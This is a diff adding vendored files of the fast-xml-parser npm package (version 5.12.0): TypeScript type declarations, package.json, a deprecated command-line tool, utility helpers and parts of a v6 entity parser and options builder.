* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPath) => val`
*/
attributeValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Whether to process default and DOCTYPE entities
*
* Defaults to `true`
*/
processEntities?: boolean;
oneListGroup?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
};
type ESchema = string | object | Array<string | object>;
type ValidationError = {
err: {
code: string;
msg: string,
line: number,
col: number
};
};
declare class XMLParser {
constructor(options?: X2jOptions);
parse(xmlData: string | Uint8Array, validationOptions?: validationOptions | boolean): any;
/**
* Add Entity which is not by default supported by this library
* @param entityIdentifier {string} Eg: 'ent' for &ent;
* @param entityValue {string} Eg: '\r'
* @deprecated Use `entityDecoder` instead
*/
addEntity(entityIdentifier: string, entityValue: string): void;
/**
* Returns a Symbol that can be used to access the {@link XMLMetaData}
* property on a node.
*
* If Symbol is not available in the environment, an ordinary property is used
* and the name of the property is here returned.
*
* The XMLMetaData property is only present when {@link X2jOptions.captureMetaData}
* is true in the options.
*/
static getMetaDataSymbol(): Symbol;
}
declare class XMLValidator {
static validate(xmlData: string, options?: validationOptions): true | ValidationError;
}
/**
* @deprecated Use npm package 'fast-xml-builder' instead
*/
declare class XMLBuilder {
constructor(options?: XmlBuilderOptions);
build(jObj: any): string;
}
/**
* This object is available on nodes via the symbol {@link XMLParser.getMetaDataSymbol}
* when {@link X2jOptions.captureMetaData} is true.
*/
declare interface XMLMetaData {
/** The index, if available, of the character where the XML node began in the input stream. */
startIndex?: number;
/** The index, if available, of the character where the XML node ended in the input stream. */
endIndex?: number;
}
declare namespace fxp {
export {
XMLParser,
XMLValidator,
XMLBuilder,
XMLMetaData,
XmlBuilderOptions,
X2jOptions,
ESchema,
ValidationError,
strnumOptions,
validationOptions,
ProcessEntitiesOptions,
Expression,
ReadonlyMatcher,
MatcherView,
JPathOrMatcher,
JPathOrExpression,
EntityDecoderOptions
}
}
export = fxp;

2
node_modules/fast-xml-parser/lib/fxp.min.js generated vendored Normal file

File diff suppressed because one or more lines are too long

1
node_modules/fast-xml-parser/lib/fxp.min.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
node_modules/fast-xml-parser/lib/fxparser.min.js generated vendored Normal file

File diff suppressed because one or more lines are too long

1
node_modules/fast-xml-parser/lib/fxparser.min.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
node_modules/fast-xml-parser/lib/fxvalidator.min.js generated vendored Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

93
node_modules/fast-xml-parser/package.json generated vendored Normal file
View File

@@ -0,0 +1,93 @@
{
"name": "fast-xml-parser",
"version": "5.12.0",
"description": "Validate XML, Parse XML, Build XML without C/C++ based libraries",
"main": "./lib/fxp.cjs",
"type": "module",
"sideEffects": false,
"module": "./src/fxp.js",
"types": "./src/fxp.d.ts",
"exports": {
".": {
"import": {
"types": "./src/fxp.d.ts",
"default": "./src/fxp.js"
},
"require": {
"types": "./lib/fxp.d.cts",
"default": "./lib/fxp.cjs"
}
}
},
"scripts": {
"test": "c8 --reporter=lcov --reporter=text jasmine spec/*spec.js",
"test-types": "tsc --noEmit spec/typings/typings-test.ts",
"unit": "jasmine",
"perf": "node ./benchmark/perfTest3.js",
"lint": "eslint src/**/*.js spec/**/*.js benchmark/**/*.js",
"bundle": "webpack --config webpack.cjs.config.js",
"prettier": "prettier --write src/**/*.js",
"preversion": "npm test"
},
"bin": {
"fxparser": "src/cli/cli.js"
},
"files": [
"lib",
"src",
"CHANGELOG.md"
],
"repository": {
"type": "git",
"url": "git+https://github.com/NaturalIntelligence/fast-xml-parser.git"
},
"keywords": [
"fast",
"xml",
"json",
"parser",
"xml2js",
"x2js",
"xml2json",
"js",
"validator",
"validate",
"transformer",
"assert",
"js2xml",
"json2xml",
"html"
],
"author": "Amit Gupta (https://solothought.com)",
"license": "MIT",
"devDependencies": {
"@babel/core": "^7.13.10",
"@babel/plugin-transform-runtime": "^7.13.10",
"@babel/preset-env": "^7.13.10",
"@babel/register": "^7.13.8",
"@byspec/xml": "^0.1.0",
"@types/node": "20",
"babel-loader": "^8.2.2",
"c8": "^10.1.3",
"eslint": "^8.3.0",
"jasmine": "^7.0.0",
"prettier": "^3.5.1",
"typescript": "5",
"webpack": "^5.64.4",
"webpack-cli": "^4.9.1"
},
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"dependencies": {
"@nodable/entities": "^3.1.0",
"fast-xml-builder": "^1.3.1",
"is-unsafe": "^2.0.3",
"path-expression-matcher": "^1.6.2",
"strnum": "^2.5.1",
"xml-naming": "^0.3.0"
}
}

97
node_modules/fast-xml-parser/src/cli/cli.js generated vendored Executable file
View File

@@ -0,0 +1,97 @@
#!/usr/bin/env node
'use strict';
/*eslint-disable no-console*/
import fs from 'fs';
import { resolve } from 'path';
import {XMLParser, XMLValidator} from "../fxp.js";
import ReadToEnd from './read.js';
import cmdDetail from "./man.js"
console.warn("\x1b[33m%s\x1b[0m", "⚠️ Warning: The built-in CLI interface is now deprecated.");
console.warn("Please install the dedicated CLI package instead:");
console.warn(" npm install -g fxp-cli");
if (process.argv[2] === '--help' || process.argv[2] === '-h') {
console.log(cmdDetail);
} else if (process.argv[2] === '--version') {
const packageJsonPath = resolve(process.cwd(), 'package.json');
const version = JSON.parse(fs.readFileSync(packageJsonPath).toString()).version;
console.log(version);
} else {
const options = {
removeNSPrefix: true,
ignoreAttributes: false,
parseTagValue: true,
parseAttributeValue: true,
};
let fileName = '';
let outputFileName;
let validate = false;
let validateOnly = false;
for (let i = 2; i < process.argv.length; i++) {
if (process.argv[i] === '-ns') {
options.removeNSPrefix = false;
} else if (process.argv[i] === '-a') {
options.ignoreAttributes = true;
} else if (process.argv[i] === '-c') {
options.parseTagValue = false;
options.parseAttributeValue = false;
} else if (process.argv[i] === '-o') {
outputFileName = process.argv[++i];
} else if (process.argv[i] === '-v') {
validate = true;
} else if (process.argv[i] === '-V') {
validateOnly = true;
} else {
//filename
fileName = process.argv[i];
}
}
const callback = function(xmlData) {
let output = '';
if (validateOnly) {
output = XMLValidator.validate(xmlData);
process.exitCode = output === true ? 0 : 1;
} else {
const parser = new XMLParser(options);
output = JSON.stringify(parser.parse(xmlData,validate), null, 4);
}
if (outputFileName) {
writeToFile(outputFileName, output);
} else {
console.log(output);
}
};
try {
if (!fileName) {
ReadToEnd.readToEnd(process.stdin, function(err, data) {
if (err) {
throw err;
}
callback(data.toString());
});
} else {
fs.readFile(fileName, function(err, data) {
if (err) {
throw err;
}
callback(data.toString());
});
}
} catch (e) {
console.log('Seems an invalid file or stream.' + e);
}
}
function writeToFile(fileName, data) {
fs.writeFile(fileName, data, function(err) {
if (err) {
throw err;
}
console.log('JSON output has been written to ' + fileName);
});
}

17
node_modules/fast-xml-parser/src/cli/man.js generated vendored Normal file
View File

@@ -0,0 +1,17 @@
import fs from 'fs';
import { resolve } from 'path';
const packageJsonPath = resolve(process.cwd(), 'package.json');
const version = JSON.parse(fs.readFileSync(packageJsonPath).toString()).version;
export default `Fast XML Parser ${version}
----------------
$ fxparser [-ns|-a|-c|-v|-V] <filename> [-o outputfile.json]
$ cat xmlfile.xml | fxparser [-ns|-a|-c|-v|-V] [-o outputfile.json]
Options
----------------
-ns: remove namespace from tag and atrribute name.
-a: don't parse attributes.
-c: parse values to premitive type.
-v: validate before parsing.
-V: validate only.`

43
node_modules/fast-xml-parser/src/cli/read.js generated vendored Normal file
View File

@@ -0,0 +1,43 @@
'use strict';
import { Transform } from 'stream';
export default class ReadToEnd extends Transform {
constructor(options = {}) {
super(options);
this._encoding = options.encoding || 'utf8';
this._buffer = '';
}
_transform(chunk, encoding, done) {
this._buffer += chunk.toString(this._encoding);
this.push(chunk);
done();
}
_flush(done) {
this.emit('complete', null, this._buffer);
done();
}
static readToEnd(stream, options, callback) {
if (typeof options === 'function') {
callback = options;
options = {};
}
const dest = new ReadToEnd(options);
stream.pipe(dest);
stream.on('error', (err) => {
stream.unpipe(dest);
callback(err);
});
dest.on('complete', callback);
dest.resume();
return dest;
}
}

754
node_modules/fast-xml-parser/src/fxp.d.ts generated vendored Normal file
View File

@@ -0,0 +1,754 @@
/**
* Types copied from path-expression-matcher
* @version <version>
* @updated <date>
*
* Update this file when path-expression-matcher releases a new version.
* Source: https://github.com/NaturalIntelligence/path-expression-matcher
*/
/**
* Options for creating an Expression
*/
export interface ExpressionOptions {
/**
* Path separator character
* @default '.'
*/
separator?: string;
}
/**
* Parsed segment from an expression pattern
*/
export interface Segment {
type: 'tag' | 'deep-wildcard';
tag?: string;
namespace?: string;
attrName?: string;
attrValue?: string;
position?: 'first' | 'last' | 'odd' | 'even' | 'nth';
positionValue?: number;
}
/**
* Expression - Parses and stores a tag pattern expression.
* Patterns are parsed once and stored in an optimized structure for fast matching.
*
* @example
* ```typescript
* const expr = new Expression("root.users.user");
* const expr2 = new Expression("..user[id]:first");
* const expr3 = new Expression("root/users/user", { separator: '/' });
* ```
*
* Pattern Syntax:
* - `root.users.user` — Match exact path
* - `..user` — Match "user" at any depth (deep wildcard)
* - `user[id]` — Match user tag with "id" attribute
* - `user[id=123]` — Match user tag where id="123"
* - `user:first` — Match first occurrence of user tag
* - `ns::user` — Match user tag with namespace "ns"
* - `ns::user[id]:first` — Combine namespace, attribute, and position
*/
export class Expression {
readonly pattern: string;
readonly separator: string;
readonly segments: Segment[];
constructor(pattern: string, options?: ExpressionOptions);
get length(): number;
hasDeepWildcard(): boolean;
hasAttributeCondition(): boolean;
hasPositionSelector(): boolean;
toString(): string;
}
// ---------------------------------------------------------------------------
// MatcherView
// ---------------------------------------------------------------------------
/**
* A lightweight, live read-only view of a Matcher instance.
*
* Returned by `Matcher.readOnly()`. The same instance is reused across every
* callback invocation — no allocation overhead per call. Reads directly from
* the parent Matcher's internal state so it always reflects the current parser
* position with no copying or freezing.
*
* Mutation methods (`push`, `pop`, `reset`, `updateCurrent`, `restore`) are
* simply absent — misuse is caught at compile time by TypeScript.
*
* This is the type received by all FXP user callbacks when `jPath: false`.
*/
export class MatcherView {
readonly separator: string;
/** Check if current path matches an Expression. */
matches(expression: Expression): boolean;
/** Get current tag name, or `undefined` if path is empty. */
getCurrentTag(): string | undefined;
/** Get current namespace, or `undefined` if not present. */
getCurrentNamespace(): string | undefined;
/** Get attribute value of the current node. */
getAttrValue(attrName: string): any;
/** Check if the current node has a given attribute. */
hasAttr(attrName: string): boolean;
/** Sibling position of the current node (child index in parent). */
getPosition(): number;
/** Occurrence counter of the current tag name at this level. */
getCounter(): number;
/** Number of nodes in the current path. */
getDepth(): number;
/** Current path as a string (e.g. `"root.users.user"`). */
toString(separator?: string, includeNamespace?: boolean): string;
/** Current path as an array of tag names. */
toArray(): string[];
}
/**
* @deprecated Use {@link MatcherView} instead.
* Alias kept for backward compatibility.
*/
export type ReadonlyMatcher = MatcherView;
/** Internal node structure — exposed via snapshot only. */
export interface PathNode {
tag: string;
namespace?: string;
position: number;
counter: number;
values?: Record<string, any>;
}
/** Snapshot of matcher state returned by `snapshot()` and `readOnly().snapshot()`. */
export interface MatcherSnapshot {
path: PathNode[];
siblingStacks: Map<string, number>[];
}
/**********************************************************************
*
* END of path-expression-matcher relevant typings
*
**********************************************************************/
// jPath: true → string
// jPath: false → MatcherView
type JPathOrMatcher = string | MatcherView;
type JPathOrExpression = string | Expression;
export type ProcessEntitiesOptions = {
/**
* Whether to enable entity processing
*
* Defaults to `true`
*/
enabled?: boolean;
/**
* Maximum size in characters for a single entity definition
*
* Defaults to `10000`
*/
maxEntitySize?: number;
/**
* Maximum depth for nested entity references (reserved for future use)
*
* Defaults to `10`
*/
maxExpansionDepth?: number;
/**
* Maximum total number of entity expansions allowed
*
* Defaults to `1000`
*/
maxTotalExpansions?: number;
/**
* Maximum total expanded content length in characters
*
* Defaults to `100000`
*/
maxExpandedLength?: number;
/**
* Maximum number of entities allowed in the XML
*
* Defaults to `100`
*/
maxEntityCount?: number;
/**
* Array of tag names where entity replacement is allowed.
* If null, entities are replaced in all tags.
*
* Defaults to `null`
*/
allowedTags?: string[] | null;
/**
* Custom filter function to determine if entities should be replaced in a tag
*
* @param tagName - The name of the current tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @returns `true` to allow entity replacement, `false` to skip
*
* Defaults to `null`
*/
tagFilter?: ((tagName: string, jPathOrMatcher: JPathOrMatcher) => boolean) | null;
};
export type EntityDecoderOptions = {
setExternalEntities: (entities: Record<string, string>) => void;
addInputEntities: (entities: Record<string, string>) => void;
reset: () => void;
decode: (text: string) => string;
setXmlVersion: (version: number) => void;
}
export type X2jOptions = {
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when parsing
*
* When `true` - ignores all the attributes
*
* When `false` - parses all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPathOrMatcher: JPathOrMatcher) => boolean);
/**
* Whether to remove namespace string from tag and attribute names
*
* Defaults to `false`
*/
removeNSPrefix?: boolean;
/**
* Whether to allow attributes without value
*
* Defaults to `false`
*/
allowBooleanAttributes?: boolean;
/**
* Whether to parse tag value with `strnum` package
*
* Defaults to `true`
*/
parseTagValue?: boolean;
/**
* Whether to parse attribute value with `strnum` package
*
* Defaults to `false`
*/
parseAttributeValue?: boolean;
/**
* Whether to remove surrounding whitespace from tag or attribute value
*
* Defaults to `true`
*/
trimValues?: boolean;
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @param tagName - The name of the tag
* @param tagValue - The value of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param hasAttributes - Whether the tag has attributes
* @param isLeafNode - Whether the tag is a leaf node
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPathOrMatcher, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (tagName: string, tagValue: string, jPathOrMatcher: JPathOrMatcher, hasAttributes: boolean, isLeafNode: boolean) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName - The name of the attribute
* @param attrValue - The value of the attribute
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPathOrMatcher) => val`
*/
attributeValueProcessor?: (attrName: string, attrValue: string, jPathOrMatcher: JPathOrMatcher) => unknown;
/**
* Options to pass to `strnum` for parsing numbers
*
* Defaults to `{ hex: true, leadingZeros: true, eNotation: true }`
*/
numberParseOptions?: strnumOptions;
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* String patterns starting with "*." are automatically converted to ".." for backward compatibility
*
* Defaults to `[]`
*/
stopNodes?: JPathOrExpression[];
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Whether to always create a text node
*
* Defaults to `false`
*/
alwaysCreateTextNode?: boolean;
/**
* Determine whether a tag should be parsed as an array
*
* @param tagName - The name of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param isLeafNode - Whether the tag is a leaf node
* @param isAttribute - Whether this is an attribute
* @returns {boolean}
*
* Defaults to `() => false`
*/
isArray?: (tagName: string, jPathOrMatcher: JPathOrMatcher, isLeafNode: boolean, isAttribute: boolean) => boolean;
/**
* Whether to process default and DOCTYPE entities
*
* When `true` - enables entity processing with default limits
*
* When `false` - disables all entity processing
*
* When `ProcessEntitiesOptions` - enables entity processing with custom configuration
*
* Defaults to `true`
*/
processEntities?: boolean | ProcessEntitiesOptions;
/**
* Whether to process HTML entities
*
* Defaults to `false`
* @deprecated Use `entityDecoder` instead
*/
htmlEntities?: boolean;
/**
* Custom entity decoder
*/
entityDecoder?: EntityDecoderOptions;
/**
* Whether to ignore the declaration tag from output
*
* Defaults to `false`
*/
ignoreDeclaration?: boolean;
/**
* Whether to ignore Pi tags
*
* Defaults to `false`
*/
ignorePiTags?: boolean;
/**
* Transform tag names
*
* Defaults to `false`
*/
transformTagName?: ((tagName: string) => string) | false;
/**
* Transform attribute names
*
* Defaults to `false`
*/
transformAttributeName?: ((attributeName: string) => string) | false;
/**
* Change the tag name when a different name is returned. Skip the tag from parsed result when false is returned.
* Modify `attrs` object to control attributes for the given tag.
*
* @param tagName - The name of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param attrs - The attributes object
* @returns {string} new tag name.
* @returns false to skip the tag
*
* Defaults to `(tagName, jPathOrMatcher, attrs) => tagName`
*/
updateTag?: (tagName: string, jPathOrMatcher: JPathOrMatcher, attrs: { [k: string]: string }) => string | boolean;
/**
* If true, adds a Symbol to all object nodes, accessible by {@link XMLParser.getMetaDataSymbol} with
* metadata about each the node in the XML file.
*/
captureMetaData?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
/**
* Whether to strictly validate tag names
*
* Defaults to `true`
*/
strictReservedNames?: boolean;
/**
* Controls whether callbacks receive jPath as string or Matcher instance
*
* When `true` - callbacks receive jPath as string (backward compatible)
*
* When `false` - callbacks receive Matcher instance for advanced pattern matching
*
* Defaults to `true`
*/
jPath?: boolean;
/**
* Function to sanitize dangerous property names
*
* @param name - The name of the property
* @returns {string} The sanitized name
*
* Defaults to `(name) => __name`
*/
onDangerousProperty?: (name: string) => string;
};
export type strnumOptions = {
hex: boolean;
leadingZeros: boolean,
skipLike?: RegExp,
eNotation?: boolean,
infinity?: string,
unicode?: boolean
}
export type validationOptions = {
/**
* Whether to allow attributes without value
*
* Defaults to `false`
*/
allowBooleanAttributes?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
};
export type XmlBuilderOptions = {
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when building
*
* When `true` - ignores all the attributes
*
* When `false` - builds all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPath: string) => boolean);
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Whether to make output pretty instead of single line
*
* Defaults to `false`
*/
format?: boolean;
/**
* If `format` is set to `true`, sets the indent string
*
* Defaults to ` `
*/
indentBy?: string;
/**
* Give a name to a top-level array
*
* Defaults to `undefined`
*/
arrayNodeName?: string;
/**
* Create empty tags for tags with no text value
*
* Defaults to `false`
*/
suppressEmptyNode?: boolean;
/**
* Suppress an unpaired tag
*
* Defaults to `true`
*/
suppressUnpairedNode?: boolean;
/**
* Don't put a value for boolean attributes
*
* Defaults to `true`
*/
suppressBooleanAttributes?: boolean;
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* Defaults to `[]`
*/
stopNodes?: JPathOrExpression[];
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPath, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName
* @param attrValue
* @param jPath
* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPath) => val`
*/
attributeValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Whether to process default and DOCTYPE entities
*
* Defaults to `true`
*/
processEntities?: boolean;
oneListGroup?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
};
type ESchema = string | object | Array<string | object>;
export type ValidationError = {
err: {
code: string;
msg: string,
line: number,
col: number
};
};
export class XMLParser {
constructor(options?: X2jOptions);
parse(xmlData: string | Uint8Array): any;
/**
* @deprecated The `validationOptions` parameter is deprecated.
* Use the `fast-xml-validator` package instead for XML validation.
* @see https://www.npmjs.com/package/fast-xml-validator
*/
parse(xmlData: string | Uint8Array, validationOptions: validationOptions | boolean): any;
/**
* Add Entity which is not by default supported by this library
* @param entityIdentifier {string} Eg: 'ent' for &ent;
* @param entityValue {string} Eg: '\r'
* @deprecated Use `entityDecoder` instead
*/
addEntity(entityIdentifier: string, entityValue: string): void;
/**
* Returns a Symbol that can be used to access the {@link XMLMetaData}
* property on a node.
*
* If Symbol is not available in the environment, an ordinary property is used
* and the name of the property is here returned.
*
* The XMLMetaData property is only present when {@link X2jOptions.captureMetaData}
* is true in the options.
*/
static getMetaDataSymbol(): Symbol;
}
/**
* @deprecated Use fast-xml-validator instead
* @see https://www.npmjs.com/package/fast-xml-validator
*/
export class XMLValidator {
static validate(xmlData: string, options?: validationOptions): true | ValidationError;
}
/**
* @deprecated Use npm package 'fast-xml-builder' instead
*/
export class XMLBuilder {
constructor(options?: XmlBuilderOptions);
build(jObj: any): string;
}
/**
* This object is available on nodes via the symbol {@link XMLParser.getMetaDataSymbol}
* when {@link X2jOptions.captureMetaData} is true.
*/
export interface XMLMetaData {
/** The index, if available, of the character where the XML node began in the input stream. */
startIndex?: number;
/** The index, if available, of the character where the XML node ended in the input stream. */
endIndex?: number;
}

14
node_modules/fast-xml-parser/src/fxp.js generated vendored Normal file
View File

@@ -0,0 +1,14 @@
'use strict';
import { validate } from './validator.js';
import XMLParser from './xmlparser/XMLParser.js';
import XMLBuilder from './xmlbuilder/json2xml.js';
const XMLValidator = {
validate: validate
}
export {
XMLParser,
XMLValidator,
XMLBuilder
};

18
node_modules/fast-xml-parser/src/ignoreAttributes.js generated vendored Normal file
View File

@@ -0,0 +1,18 @@
export default function getIgnoreAttributesFn(ignoreAttributes) {
if (typeof ignoreAttributes === 'function') {
return ignoreAttributes
}
if (Array.isArray(ignoreAttributes)) {
return (attrName) => {
for (const pattern of ignoreAttributes) {
if (typeof pattern === 'string' && attrName === pattern) {
return true
}
if (pattern instanceof RegExp && pattern.test(attrName)) {
return true
}
}
}
}
return () => false
}

61
node_modules/fast-xml-parser/src/util.js generated vendored Normal file
View File

@@ -0,0 +1,61 @@
'use strict';
const nameStartChar = ':A-Za-z_\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD';
const nameChar = nameStartChar + '\\-.\\d\\u00B7\\u0300-\\u036F\\u203F-\\u2040';
export const nameRegexp = '[' + nameStartChar + '][' + nameChar + ']*';
const regexName = new RegExp('^' + nameRegexp + '$');
export function getAllMatches(string, regex) {
const matches = [];
let match = regex.exec(string);
while (match) {
const allmatches = [];
allmatches.startIndex = regex.lastIndex - match[0].length;
const len = match.length;
for (let index = 0; index < len; index++) {
allmatches.push(match[index]);
}
matches.push(allmatches);
match = regex.exec(string);
}
return matches;
}
export const isName = function (string) {
const match = regexName.exec(string);
return !(match === null || typeof match === 'undefined');
}
export function isExist(v) {
return typeof v !== 'undefined';
}
export function isEmptyObject(obj) {
return Object.keys(obj).length === 0;
}
export function getValue(v) {
if (exports.isExist(v)) {
return v;
} else {
return '';
}
}
/**
* Dangerous property names that could lead to prototype pollution or security issues
*/
export const DANGEROUS_PROPERTY_NAMES = [
// '__proto__',
// 'constructor',
// 'prototype',
'hasOwnProperty',
'toString',
'valueOf',
'__defineGetter__',
'__defineSetter__',
'__lookupGetter__',
'__lookupSetter__'
];
export const criticalProperties = ["__proto__", "constructor", "prototype"];

16
node_modules/fast-xml-parser/src/v6/CharsSymbol.js generated vendored Normal file
View File

@@ -0,0 +1,16 @@
export default {
"<" : "<", //tag start
">" : ">", //tag end
"/" : "/", //close tag
"!" : "!", //comment or docttype
"!--" : "!--", //comment
"-->" : "-->", //comment end
"?" : "?", //pi
"?>" : "?>", //pi end
"?xml" : "?xml", //pi end
"![" : "![", //cdata
"]]>" : "]]>", //cdata end
"[" : "[",
"-" : "-",
"D" : "D",
}

106
node_modules/fast-xml-parser/src/v6/EntitiesParser.js generated vendored Normal file
View File

@@ -0,0 +1,106 @@
const ampEntity = { regex: /&(amp|#38|#x26);/g, val: "&" };
const htmlEntities = {
"space": { regex: /&(nbsp|#160);/g, val: " " },
// "lt" : { regex: /&(lt|#60);/g, val: "<" },
// "gt" : { regex: /&(gt|#62);/g, val: ">" },
// "amp" : { regex: /&(amp|#38);/g, val: "&" },
// "quot" : { regex: /&(quot|#34);/g, val: "\"" },
// "apos" : { regex: /&(apos|#39);/g, val: "'" },
"cent": { regex: /&(cent|#162);/g, val: "¢" },
"pound": { regex: /&(pound|#163);/g, val: "£" },
"yen": { regex: /&(yen|#165);/g, val: "¥" },
"euro": { regex: /&(euro|#8364);/g, val: "€" },
"copyright": { regex: /&(copy|#169);/g, val: "©" },
"reg": { regex: /&(reg|#174);/g, val: "®" },
"inr": { regex: /&(inr|#8377);/g, val: "₹" },
"num_dec": { regex: /&#([0-9]{1,7});/g, val: (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val: (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
};
export default class EntitiesParser {
constructor(replaceHtmlEntities) {
this.replaceHtmlEntities = replaceHtmlEntities;
this.docTypeEntities = {};
this.lastEntities = {
"apos": { regex: /&(apos|#39|#x27);/g, val: "'" },
"gt": { regex: /&(gt|#62|#x3E);/g, val: ">" },
"lt": { regex: /&(lt|#60|#x3C);/g, val: "<" },
"quot": { regex: /&(quot|#34|#x22);/g, val: "\"" },
};
}
addExternalEntities(externalEntities) {
const entKeys = Object.keys(externalEntities);
for (let i = 0; i < entKeys.length; i++) {
const ent = entKeys[i];
this.addExternalEntity(ent, externalEntities[ent])
}
}
addExternalEntity(key, val) {
validateEntityName(key);
const escaped = key.replace(/[.\-+*:]/g, '\\.');
if (val.indexOf("&") !== -1) {
reportWarning(`Entity ${key} is not added as '&' is found in value;`)
return;
} else {
this.lastEntities[key] = {
regex: new RegExp("&" + escaped + ";", "g"),
val: val
}
}
}
addDocTypeEntities(entities) {
const entKeys = Object.keys(entities);
for (let i = 0; i < entKeys.length; i++) {
const ent = entKeys[i];
const escaped = ent.replace(/[.\-+*:]/g, '\\.');
this.docTypeEntities[ent] = {
regex: new RegExp("&" + escaped + ";", "g"),
val: entities[ent]
}
}
}
parse(val) {
return this.replaceEntitiesValue(val)
}
/**
* 1. Replace DOCTYPE entities
* 2. Replace external entities
* 3. Replace HTML entities if asked
* @param {string} val
*/
replaceEntitiesValue(val) {
if (typeof val === "string" && val.length > 0) {
for (let entityName in this.docTypeEntities) {
const entity = this.docTypeEntities[entityName];
val = val.replace(entity.regx, entity.val);
}
for (let entityName in this.lastEntities) {
const entity = this.lastEntities[entityName];
val = val.replace(entity.regex, entity.val);
}
if (this.replaceHtmlEntities) {
for (let entityName in htmlEntities) {
const entity = htmlEntities[entityName];
val = val.replace(entity.regex, entity.val);
}
}
val = val.replace(ampEntity.regex, ampEntity.val);
}
return val;
}
}
//an entity name should not contains special characters that may be used in regex
//Eg !?\\\/[]$%{}^&*()<>
const specialChar = "!?\\/[]$%{}^&*()<>|+";
function validateEntityName(name) {
for (let i = 0; i < specialChar.length; i++) {
const ch = specialChar[i];
if (name.indexOf(ch) !== -1) throw new Error(`Invalid character ${ch} in entity name`);
}
return name;
}

61
node_modules/fast-xml-parser/src/v6/OptionsBuilder.js generated vendored Executable file
View File

@@ -0,0 +1,61 @@
import { JsObjOutputBuilder } from './OutputBuilders/JsObjBuilder.js';
export const defaultOptions = {
preserveOrder: false,
removeNSPrefix: false, // remove NS from tag name or attribute name if true
//ignoreRootElement : false,
stopNodes: [], //nested tags will not be parsed even for errors
// isArray: () => false, //User will set it
htmlEntities: false,
// skipEmptyListItem: false
tags: {
unpaired: [],
nameFor: {
cdata: false,
comment: false,
text: '#text'
},
separateTextProperty: false,
},
attributes: {
ignore: false,
booleanType: true,
entities: true,
},
// select: ["img[src]"],
// stop: ["anim", "[ads]"]
